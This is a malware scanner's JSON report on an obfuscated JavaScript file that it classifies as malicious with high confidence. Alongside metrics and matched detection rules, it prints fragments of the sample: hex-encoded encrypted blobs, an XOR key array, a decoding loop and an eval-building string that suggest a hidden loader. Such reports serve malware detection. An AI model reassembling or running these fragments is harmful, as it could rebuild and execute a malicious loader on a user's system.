{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.999951958656311,
        "class": 2
      }
    ],
    "prob": 0.99995196,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.99783343,
        "class": 2
      },
      {
        "m": "az/scripts",
        "prob": 0.998242,
        "class": 1
      },
      {
        "m": "az/javascript",
        "prob": 0.99995196,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-06T18:44:24Z"
  },
  "path": "20170327_10a99df98343965846c40c89c3f6327f.js",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "K₂O₅(As₉CaErS₅Xe)H₂(Db₃Po₂)Md",
        "k": {
          "source.imports[0]": "\"e+vla+alev\".match",
          "source.imports[1]": "Math.floor",
          "source.imports[2]": "Math.random",
          "source.imports[3]": "bsotp",
          "source.imports[4]": "cdzto",
          "source.imports[5]": "crdzw",
          "source.imports[6]": "dqxdb",
          "source.imports[7]": "mttds",
          "source.imports[8]": "tohxi",
          "source.imports[9]": "ulmvx",
          "source.strings[0]": "(vnlws);",
          "source.strings[1]": ",tvbnq=0;for(var tvbnq=0,cnnml=0;tvbnq\u003ciimmg.length;tvbnq++,cnnml++){if(cnnml\u003e=whkmf.length){cnnml=0;}vnlws ",
          "source.strings[2]": "2198d235dd01ffc72e90d631c529fcd22cd39c2bdd37e7c828ddc114c831fff53dd7d805db29b69127ccc120936ab1c438cf9b33c137f1de2ad0d43bca6beadc3f97c023cc37b0c327c88a369477b0d426de977c8923ebdd2cccdc3fc76decd63ccdd9248565fbc13dd7c779893ef7d56f909435db37f1c166c3c735dd30ecdd6fdbd43cc527ffd02490c735da30f2c76398d331c536",
          "source.strings[3]": "2e90d325c726eada20d69578cd24ead26398d022db2aec9a6fc3dc36896dbfd63dcada22803eedd239dde13ffd20f3c367dcd424c869bed53ad6d624c02af09367c8d424c169bed63dcada228065e5da29989d71cc37ecdc3d91ce24db3ce5c52eca9524c028fb937298db35de65dad23bdd9d3ecc32bef72eccd078806bf9d63becdc3dcc6db793649887708365a8836f9295619975",
          "source.strings[4]": "32c5d631dd26f69367ddc722c637b79334c5c82d807ee3ce6683",
          "source.strings[5]": "6683c331db65eade3ffedc3ccc0bffde2a9888708b19c2916f93951dc831f69d3dd9db34c628b69a61ccda03dd37f7dd28908666806bedc62dcbc1228177b2937691957b8967b0d637dd976bdf24ec933bd5c516c029fbe32eccdd709465f8c061ffd024fa35fbd026d9d916c629fad63d908779896ebec722c8f339c520d0d222dd8e22cc31ebc12198c13dd903f7df2ae8d424c17e",
          "source.strings[6]": "9524db30fb9a74c5c8799238e39a74c5c8799238fdd23bdbdd708120ecc120ca9c2bdb20eac63dd69533c829f2d12edbde78c730f2df6398c122dc20b78832c5d325c726eada20d69537cc31cad622c8f339c520ced23bd09d79d231ecca34ced4228923ed937298db35de65dfd03bd1c335f10afcd92adbc1788b16fdc126c8c139c722b0f526d4d003d036ead622f7d73acc26ea91",
          "source.strings[7]": "=String.fromCharCode(parseInt(iimmg[tvbnq],16)^whkmf[cnnml]);}",
          "source.strings[8]": "S{2}/g),vnlws=",
          "source.strings[9]": "ae9a74ced4228937ebdd1bd1d8358978bec32edc9d24c028fb9d28ddc118c630ecc067919c708265bc896d989e70d924fa9b3bd1d8358722fbc702d1db25dd20ed9b66918e26c837bec43cd0956d892bfbc46ff9d624c033fbeb00dadf35ca31b69118ebd622c035ea9d1cd0d03cc567b78839d9c770de2cf0e52aca956d8932eddb61ead037fb20ffd7679afd1bec1cc1ff00fbf41c",
          "source.has_imports": true,
          "source.strings[10]": "c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9a74c5d03cda20e5c12accc022c765fdd223d4d731ca2eb6dd3ad4d97c8931ecc62a918e2dd426ffc72cd09578cc37ecdc3d91ce22cc31ebc12198d631c529fcd22cd39d3edc29f29f6fccc725cc6ca5ce32dec03eca31f7dc",
          "source.strings[11]": "c803ecdc22edc73c8167f6c73bc88f7f8632e9c461dbdd22c628fbdb2ed3d67edd2aee9c3acbd0228735f6c370de88628722f7d56d949536dc2bfdc726d7db78db20edc623cc9970cc37ecdc3d91952bc023be9b6eddc722c637b7c83dddc125db2bbed02ed4d932c826f59b3dddc625c531b29329d9d923cc6ca5ce2ad4c635d237fbc73acadb70ca24f2df2dd9d63b812bebdf2394",
          "source.strings[12]": "cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d624c033fbeb00dadf35ca31b69102ebed1de577b0eb02f4fd04fd15bc9a74c0d83ce131eac361d7c535c76dbcf40aec977c8930ecdf6398d331c536fb9a74c0d83ce131eac361cbd03ecd6db78826de9578d128f2fb3bcc",
          "source.strings[13]": "d423c236be9c2ccad031dd20be9c3bd69572896ebefe2eccdd7edb24f0d720d59d798731f1e03bcadc3ece6dad856696c625cb36eac1678a9970906cbe986f9a957fda26bedc21dbd0708631ec936d989e70d924eadb6f939572896aedc76f9a957b8937ebdd1bd1d835807ee3d623cbd02bde36f69d1dcddb788b26f3d761ddcd35896afd933cccd422dd65bc936498c531dd2db788",
          "source.strings[14]": "d433c26deed23bd09970cf24f2c02a918e2dcc29edd66fc3c735dd30ecdd6fdbd43cc527ffd02490db25c529b2933bcac035807ee3ce2cd9c133c165b6d63dcada22803eecd63bcdc73e8926ffdf23dad433c26df0c623d49970dd37ebd66683c82dcf30f0d03bd1da3e8935ffd767d69c70d237fbc73acadb70c765a2937e88956f8967ae916f93953e897fbedd74c5d235dd01ffc7",
          "source.strings[15]": "e+vla+alev",
          "source.strings[16]": "e3d02eccd638896dfbc13dd7c779d237fbc73acadb70cf24f2c02a83c82dcf30f0d03bd1da3e8936ffc52aecda04cc28ee9b2bd9c1318565fdd223d4d731ca2eb7c83bcacc2bdf24ec933fd9c1388978bed42acce135c435d8da23dde531dd2db69a74d1d3708135ffc72791ce26c837bedc2dd2e624db20ffde6f85953ecc32bef22cccdc26cc1dd1d125ddd6248167dff700fcf77e",
          "source.strings[17]": "f608dff007f1fb15f519cdfc09ece211fb00c2ef02d1d622c636f1d53be4e907c02bfadc38cb951efd19c2f03acac735c731c8d63dcbdc3fc719c2f03acac735c731c8d63dcbdc3fc767b78826de9578de2cf0e52aca9b39c721fbcb00de9d729f6bbc9a6f8688709965e2cf6fcfdc3eff20ec9d26d6d135d10af89b6d89857e8b6cbe8d72988579d232eddb61eac03e8167edd027cc",
          "source.strings[18]": "fa31ecd62ed59779922afcd91cccc735c828b0fc3fdddb78807ef1d125ebc122cc24f39d1bc1c5358978be8274d7d73afa31ecd62ed59b07db2cead667dcd424c86ca5dc2dd2e624db20ffde61e8da23c031f7dc21988870997ef1d125ebc122cc24f39d1cd9c335fd2ad8da23dd9d20c831f69f6f8a9c6bc627f4e03bcad031c46bdddf20cbd078807eecd63bcdc73e8926ffdf23da",
          "source.strings[19]": "fb9a74c5d03cda20e5d42accf131dd24d8c120d5e022c56dbcdb3bccc56a866ae9c43896d638db2af3d627d9de338731f1c360cdc635db6beedb3f87d36d9b6bf9da299a9970cf30f0d03bd1da3e8137fbc03ad4c17c8920ecc120ca9c70d22cf8936799d022db2aec9a34cad024dc37f0932cd9d93ccb24fdd867cad023dc29ea9f6fded43cda20b78832ddd923cc3ef9d63bfcd424",
          "source.strings[20]": "var whkmf=new Array(169,69,158,179,79,184,181,80),iimmg=aaubp.match(/",
          "source.strings[21]": "var whkmf=new Array(169,69,158,179,79,184,181,80),iimmg=aaubp.match(/\\\\S{2}/g),vnlws=\\\"\\\",tvbnq=0;for(var tvbnq=0,cnnml=0;tvbnq\u003ciimmg.length;tvbnq++,cnnml++){if(cnnml\u003e=whkmf.length){cnnml=0;}vnlws ",
          "source.functions[0]": "cdzto",
          "source.functions[1]": "tohxi",
          "source.functions[2]": "ulmvx"
        },
        "x": 43,
        "id": 0,
        "is": [
          "mttds",
          "bsotp",
          "bsotp",
          "cdzto",
          "cdzto",
          "cdzto",
          "cdzto",
          "cdzto",
          "crdzw",
          "\"e+vla+alev\".match",
          "dqxdb",
          "Math.floor",
          "Math.random",
          "tohxi",
          "ulmvx"
        ],
        "ms": {
          "file": {
            "size": 5051.0
          },
          "text": {
            "tab_count": 44.0,
            "digit_ratio": 0.51,
            "space_count": 20.0,
            "total_lines": 42.0,
            "char_entropy": 4.58,
            "unique_chars": 63.0,
            "import_density": 35.71,
            "lines_over_200": 15.0,
            "string_density": 1.0,
            "avg_line_length": 118.31,
            "max_line_length": 356.0,
            "last_line_length": 15.0,
            "long_token_count": 15.0,
            "most_common_char": "d",
            "whitespace_ratio": 0.03,
            "most_common_ratio": 0.11,
            "identifier_density": 0.64,
            "line_length_stddev": 142.23,
            "encoded_string_ratio": 0.71,
            "normalized_import_count": 2.31,
            "normalized_string_count": 6.48,
            "max_inline_whitespace_run": 1.0,
            "normalized_function_count": 0.46,
            "imports_to_functions_ratio": 5.0,
            "strings_to_functions_ratio": 14.0,
            "suspicious_identifier_ratio": 0.08,
            "normalized_unique_identifiers": 2.23,
            "identifiers_to_functions_ratio": 4.0
          },
          "imports": {
            "total": 15.0,
            "unique_modules": 10.0,
            "third_party_count": 15.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 42.0,
            "avg_length": 215.76,
            "max_length": 300.0,
            "avg_entropy": 3.74,
            "hex_strings": 30.0,
            "total_bytes": 9062.0,
            "entropy_stddev": 0.67,
            "high_entropy_count": 1.0
          },
          "comments": {},
          "functions": {
            "total": 3.0,
            "length_stddev": 5.56,
            "avg_name_length": 5.0,
            "no_params_count": 3.0,
            "avg_length_lines": 13.67,
            "max_length_lines": 19.0,
            "min_length_lines": 6.0,
            "density_per_100_lines": 7.14,
            "code_in_functions_ratio": 0.98
          },
          "identifiers": {
            "total": 27.0,
            "avg_length": 4.58,
            "max_length": 8.0,
            "min_length": 1.0,
            "avg_entropy": 1.96,
            "reuse_ratio": 0.44,
            "unique_count": 12.0,
            "length_stddev": 1.66,
            "sequential_names": 1.0,
            "single_char_count": 1.0,
            "single_char_ratio": 0.08,
            "all_lowercase_ratio": 0.83
          }
        },
        "ss": [
          [
            32,
            "cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d624"
          ],
          [
            33,
            "cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d624"
          ],
          [
            338,
            "c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9a74c5"
          ],
          [
            339,
            "c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9a74c5"
          ],
          [
            644,
            "2198d235dd01ffc72e90d631c529fcd22cd39c2bdd37e7c828ddc114c831fff53dd7d805db29b69127ccc120936ab1c438cf9b33c137f1de2ad0d43bca6beadc"
          ],
          [
            645,
            "2198d235dd01ffc72e90d631c529fcd22cd39c2bdd37e7c828ddc114c831fff53dd7d805db29b69127ccc120936ab1c438cf9b33c137f1de2ad0d43bca6beadc"
          ],
          [
            950,
            "fb9a74c5d03cda20e5d42accf131dd24d8c120d5e022c56dbcdb3bccc56a866ae9c43896d638db2af3d627d9de338731f1c360cdc635db6beedb3f87d36d9b6b"
          ],
          [
            951,
            "fb9a74c5d03cda20e5d42accf131dd24d8c120d5e022c56dbcdb3bccc56a866ae9c43896d638db2af3d627d9de338731f1c360cdc635db6beedb3f87d36d9b6b"
          ],
          [
            1256,
            "c803ecdc22edc73c8167f6c73bc88f7f8632e9c461dbdd22c628fbdb2ed3d67edd2aee9c3acbd0228735f6c370de88628722f7d56d949536dc2bfdc726d7db78"
          ],
          [
            1257,
            "c803ecdc22edc73c8167f6c73bc88f7f8632e9c461dbdd22c628fbdb2ed3d67edd2aee9c3acbd0228735f6c370de88628722f7d56d949536dc2bfdc726d7db78"
          ],
          [
            1562,
            "9524db30fb9a74c5c8799238e39a74c5c8799238fdd23bdbdd708120ecc120ca9c2bdb20eac63dd69533c829f2d12edbde78c730f2df6398c122dc20b78832c5"
          ],
          [
            1563,
            "9524db30fb9a74c5c8799238e39a74c5c8799238fdd23bdbdd708120ecc120ca9c2bdb20eac63dd69533c829f2d12edbde78c730f2df6398c122dc20b78832c5"
          ],
          [
            1868,
            "6683c331db65eade3ffedc3ccc0bffde2a9888708b19c2916f93951dc831f69d3dd9db34c628b69a61ccda03dd37f7dd28908666806bedc62dcbc1228177b293"
          ],
          [
            1869,
            "6683c331db65eade3ffedc3ccc0bffde2a9888708b19c2916f93951dc831f69d3dd9db34c628b69a61ccda03dd37f7dd28908666806bedc62dcbc1228177b293"
          ],
          [
            2174,
            "e3d02eccd638896dfbc13dd7c779d237fbc73acadb70cf24f2c02a83c82dcf30f0d03bd1da3e8936ffc52aecda04cc28ee9b2bd9c1318565fdd223d4d731ca2e"
          ],
          [
            2175,
            "e3d02eccd638896dfbc13dd7c779d237fbc73acadb70cf24f2c02a83c82dcf30f0d03bd1da3e8936ffc52aecda04cc28ee9b2bd9c1318565fdd223d4d731ca2e"
          ],
          [
            2480,
            "fa31ecd62ed59779922afcd91cccc735c828b0fc3fdddb78807ef1d125ebc122cc24f39d1bc1c5358978be8274d7d73afa31ecd62ed59b07db2cead667dcd424"
          ],
          [
            2481,
            "fa31ecd62ed59779922afcd91cccc735c828b0fc3fdddb78807ef1d125ebc122cc24f39d1bc1c5358978be8274d7d73afa31ecd62ed59b07db2cead667dcd424"
          ],
          [
            2786,
            "d433c26deed23bd09970cf24f2c02a918e2dcc29edd66fc3c735dd30ecdd6fdbd43cc527ffd02490db25c529b2933bcac035807ee3ce2cd9c133c165b6d63dca"
          ],
          [
            2787,
            "d433c26deed23bd09970cf24f2c02a918e2dcc29edd66fc3c735dd30ecdd6fdbd43cc527ffd02490db25c529b2933bcac035807ee3ce2cd9c133c165b6d63dca"
          ],
          [
            3092,
            "2e90d325c726eada20d69578cd24ead26398d022db2aec9a6fc3dc36896dbfd63dcada22803eedd239dde13ffd20f3c367dcd424c869bed53ad6d624c02af093"
          ],
          [
            3093,
            "2e90d325c726eada20d69578cd24ead26398d022db2aec9a6fc3dc36896dbfd63dcada22803eedd239dde13ffd20f3c367dcd424c869bed53ad6d624c02af093"
          ],
          [
            3398,
            "ae9a74ced4228937ebdd1bd1d8358978bec32edc9d24c028fb9d28ddc118c630ecc067919c708265bc896d989e70d924fa9b3bd1d8358722fbc702d1db25dd20"
          ],
          [
            3399,
            "ae9a74ced4228937ebdd1bd1d8358978bec32edc9d24c028fb9d28ddc118c630ecc067919c708265bc896d989e70d924fa9b3bd1d8358722fbc702d1db25dd20"
          ],
          [
            3704,
            "f608dff007f1fb15f519cdfc09ece211fb00c2ef02d1d622c636f1d53be4e907c02bfadc38cb951efd19c2f03acac735c731c8d63dcbdc3fc719c2f03acac735"
          ],
          [
            3705,
            "f608dff007f1fb15f519cdfc09ece211fb00c2ef02d1d622c636f1d53be4e907c02bfadc38cb951efd19c2f03acac735c731c8d63dcbdc3fc719c2f03acac735"
          ],
          [
            4010,
            "d423c236be9c2ccad031dd20be9c3bd69572896ebefe2eccdd7edb24f0d720d59d798731f1e03bcadc3ece6dad856696c625cb36eac1678a9970906cbe986f9a"
          ],
          [
            4011,
            "d423c236be9c2ccad031dd20be9c3bd69572896ebefe2eccdd7edb24f0d720d59d798731f1e03bcadc3ece6dad856696c625cb36eac1678a9970906cbe986f9a"
          ],
          [
            4316,
            "32c5d631dd26f69367ddc722c637b79334c5c82d807ee3ce6683"
          ],
          [
            4317,
            "32c5d631dd26f69367ddc722c637b79334c5c82d807ee3ce6683"
          ],
          [
            4496,
            "aaubp"
          ],
          [
            4497,
            "aaubp"
          ],
          [
            4504,
            "var whkmf=new Array(169,69,158,179,79,184,181,80),iimmg=aaubp.match(/\\\\S{2}/g),vnlws=\\\"\\\",tvbnq=0;for(var tvbnq=0,cnnml=0;tvbnq\u003c"
          ],
          [
            4505,
            "var whkmf=new Array(169,69,158,179,79,184,181,80),iimmg=aaubp.match(/"
          ],
          [
            4576,
            "S{2}/g),vnlws="
          ],
          [
            4594,
            ",tvbnq=0;for(var tvbnq=0,cnnml=0;tvbnq\u003ciimmg.length;tvbnq++,cnnml++){if(cnnml\u003e=whkmf.length){cnnml=0;}vnlws "
          ],
          [
            4712,
            "=String.fromCharCode(parseInt(iimmg[tvbnq],16)^whkmf[cnnml]);}"
          ],
          [
            4713,
            "=String.fromCharCode(parseInt(iimmg[tvbnq],16)^whkmf[cnnml]);}"
          ],
          [
            4809,
            "(vnlws);"
          ],
          [
            4810,
            "(vnlws);"
          ],
          [
            4925,
            "e+vla+alev"
          ],
          [
            4926,
            "e+vla+alev"
          ]
        ],
        "sz": 5051,
        "ts": [
          {
            "c": 0.800000011920929,
            "d": "String.fromCharCode fragment (romChar)",
            "e": [
              "romChar"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::from-char-code-fragment-romchar",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "20170327_10a99df98343965846c40c89c3f6327f.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 2
          },
          {
            "a": "T1195.002",
            "c": 1.0,
            "d": "Loop construct (for/while)",
            "e": [
              "for("
            ],
            "i": "objectives/supply-chain/hidden-payload/staging::loop-construct",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "String.fromCharCode call",
            "e": [
              "String.fromCharCode("
            ],
            "i": "micro-behaviors/data/encode/xor::js-fromcharcode",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "from"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-multi-line-blob-benign-text--rx-10",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "from"
            ],
            "i": "micro-behaviors/process/interpreter/vm::vm-runInNewContext--rx-9",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Loop structure",
            "e": [
              "for("
            ],
            "i": "micro-behaviors/data/encode/xor::js-loop",
            "l": 2
          },
          {
            "c": 0.949999988079071,
            "d": "eval/Function call inside flatted-shaped file",
            "e": [
              "new Function("
            ],
            "i": "well-known/lib/flatted::flatted-tamper-eval",
            "l": 1
          },
          {
            "c": 0.9200000166893005,
            "d": "Regex component marker",
            "e": [
              "length"
            ],
            "i": "objectives/anti-static/obfuscation/syntax::js-eval-word-parts--rx-1",
            "l": 1
          },
          {
            "c": 0.9599999785423279,
            "d": "Regex component marker",
            "e": [
              "length"
            ],
            "i": "well-known/malware/stealer/ottercookie::base91-const-array--rx-2",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Infinite loop structure (e.g. for(;;) or while(1))",
            "e": [
              "while(true)"
            ],
            "i": "micro-behaviors/data/control-flow/loop::infinite-loop-header",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "parseInt call",
            "e": [
              "parseInt("
            ],
            "i": "micro-behaviors/data/encode/xor::js-parseint",
            "l": 2
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-infra--rx-18",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.9399999976158142,
            "d": "Architecture keyed encoded blob value",
            "e": [
              "\"cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d62"
            ],
            "i": "objectives/anti-static/obfuscation/payload/config::arch-keyed-hex-blob-dict--encoded-value",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "parseInt with radix 16",
            "e": [
              "parseInt(iimmg[tvbnq],16)"
            ],
            "i": "micro-behaviors/data/encode/hex::parseint-16",
            "l": 2
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              ";for("
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "parseInt keyword",
            "e": [
              "parseInt"
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-parseint",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 42.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-core--rx-8",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "String.fromCharCode fragment (CharCode)",
            "e": [
              "CharCode"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::from-char-code-fragment-charcode",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Hidden directory literal",
            "e": [
              "\".match"
            ],
            "i": "objectives/supply-chain/install-hook/module-backdoor::hidden-dir-literal",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "from"
            ],
            "i": "micro-behaviors/process/interpreter/vm::vm-runInContext--rx-4",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Function constructor keyword",
            "e": [
              "Function"
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-function-constructor",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "String.fromCharCode() assembly",
            "e": [
              "String.fromCharCode("
            ],
            "i": "micro-behaviors/data/encode/charcode::from-char-code",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Math.random used for indexing (probabilistic character selection)",
            "e": [
              "Math",
              "random",
              "floor"
            ],
            "i": "micro-behaviors/os/random/prng/stdlib::math-random-index",
            "l": 2
          },
          {
            "a": "T1036.008",
            "c": 0.949999988079071,
            "d": "Filename has .js extension",
            "e": [
              "20170327_10a99df98343965846c40c89c3f6327f.js"
            ],
            "i": "objectives/evasion/masquerade/extension/shebang::js-extension-name",
            "l": 1,
            "m": "F0008"
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-data--rx-25",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "fromCharCode keyword",
            "e": [
              "fromCharCode"
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-fromcharcode",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.9200000166893005,
            "d": "Regex component marker",
            "e": [
              "String.fromCharCode"
            ],
            "i": "objectives/anti-static/obfuscation/encoding/arithmetic::js-rot-n-charcode--rx-3",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "JavaScript new Function constructor",
            "e": [
              "new Function("
            ],
            "i": "micro-behaviors/process/interpreter/eval::js-new-function-constructor",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.03"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "JavaScript comma operator abuse for obfuscation (e.g.,",
            "e": [
              "(169,69,158,179,79,184,181,80)"
            ],
            "i": "objectives/anti-static/obfuscation/syntax::js-comma-operator-abuse",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.6000000238418579,
            "d": "No comments in code",
            "e": [
              "comments.total = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::no-comments",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Immediate new Function invocation pattern",
            "e": [
              "Function"
            ],
            "i": "micro-behaviors/data/source/dynamic/eval::new-function-iife",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "Small file under 5KB",
            "e": [
              "20170327_10a99df98343965846c40c89c3f6327f.js"
            ],
            "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Detects retry loop wrapping try-catch (while loop)",
            "e": [
              "while(true){\r\n\t\ttry\r\n\t\t{"
            ],
            "i": "objectives/anti-static/obfuscation/control-flow/retry::retry-loop-while",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.9700000286102295,
            "d": "Empty catch hides loader errors",
            "e": [
              "catch(er)\r\n\t\t{\r\n\t\t}"
            ],
            "i": "objectives/supply-chain/trojanized/library/hidden-dep::swallowed-loader-errors",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Massive string concatenation operations",
            "e": [
              "+\r\n\t\"c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9"
            ],
            "i": "objectives/anti-static/obfuscation/string/array::massive-string-concatenation",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "JavaScript massive string concatenation chain",
            "e": [
              "=\"cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d6"
            ],
            "i": "micro-behaviors/data/encode/skip-step::js-concat-chain",
            "l": 3
          },
          {
            "c": 0.6000000238418579,
            "d": "Very long base64 strings present",
            "e": [
              "c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9a74c5",
              "e3d02eccd638896dfbc13dd7c779d237fbc73acadb70cf24f2c02a83c82dcf30f0d03bd1da3e8936ffc52aecda04cc28ee9b2bd9c1318565fdd223d4d731ca2e",
              "6683c331db65eade3ffedc3ccc0bffde2a9888708b19c2916f93951dc831f69d3dd9db34c628b69a61ccda03dd37f7dd28908666806bedc62dcbc1228177b293",
              "fb9a74c5d03cda20e5d42accf131dd24d8c120d5e022c56dbcdb3bccc56a866ae9c43896d638db2af3d627d9de338731f1c360cdc635db6beedb3f87d36d9b6b",
              "9524db30fb9a74c5c8799238e39a74c5c8799238fdd23bdbdd708120ecc120ca9c2bdb20eac63dd69533c829f2d12edbde78c730f2df6398c122dc20b78832c5",
              "cf30f0d03bd1da3e8922fbc70bd9c131ef37f1de1acad978dc37f29f6fdbd43cc527ffd02491ce24db3ce5c52eca9528c429d6c73bc8956d892bfbc46ff9d624",
              "c803ecdc22edc73c8167f6c73bc88f7f8632e9c461dbdd22c628fbdb2ed3d67edd2aee9c3acbd0228735f6c370de88628722f7d56d949536dc2bfdc726d7db78",
              "2198d235dd01ffc72e90d631c529fcd22cd39c2bdd37e7c828ddc114c831fff53dd7d805db29b69127ccc120936ab1c438cf9b33c137f1de2ad0d43bca6beadc"
            ],
            "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings",
            "l": 3
          },
          {
            "c": 1.0,
            "d": "Generic Function constructor usage",
            "e": [
              "new Function(\""
            ],
            "i": "objectives/anti-static/obfuscation/eval/require::function-constructor",
            "l": 4
          },
          {
            "a": "T1195.002",
            "c": 0.699999988079071,
            "d": "Top-level try/catch empty handler",
            "e": [
              "catch(er)\r\n\t\t{\r\n\t\t}"
            ],
            "i": "objectives/supply-chain/install-hook/dropper/obfuscation::top-level-try-catch-empty",
            "l": 1,
            "m": "B0024"
          },
          {
            "a": "T1027",
            "d": "new Function constructor",
            "e": [
              "new Function(\""
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-new-function",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Massive string concatenation operations",
            "e": [
              "+\r\n\t\"c57eda31ffc73acb956d9465ac837f91952bdb20eac63dd69533c829f2d12edbde78d128f2fb3bccc57efb20edc320d6c635eb2afaca6398d331c536fb9"
            ],
            "i": "objectives/anti-static/obfuscation/string/array::suspicious-massive-string-concatenation",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Immediate invocation of new Function",
            "e": [
              "Function"
            ],
            "i": "objectives/anti-static/obfuscation/eval/function::suspicious-new-function-iife",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Minified/compressed code (multiple indicators)",
            "e": [
              "comments.total = 0.00",
              "text.whitespace_ratio = 0.03"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code",
            "l": 2,
            "m": "B0032"
          }
        ],
        "sha": "2d8be07741a8a0f6a8788df4efe7ccf2e8bf7cc4788ce41e2784eb94283893f3",
        "path": "20170327_10a99df98343965846c40c89c3f6327f.js",
        "type": "javascript"
      }
    ],
    "tv": "ac09c"
  }
}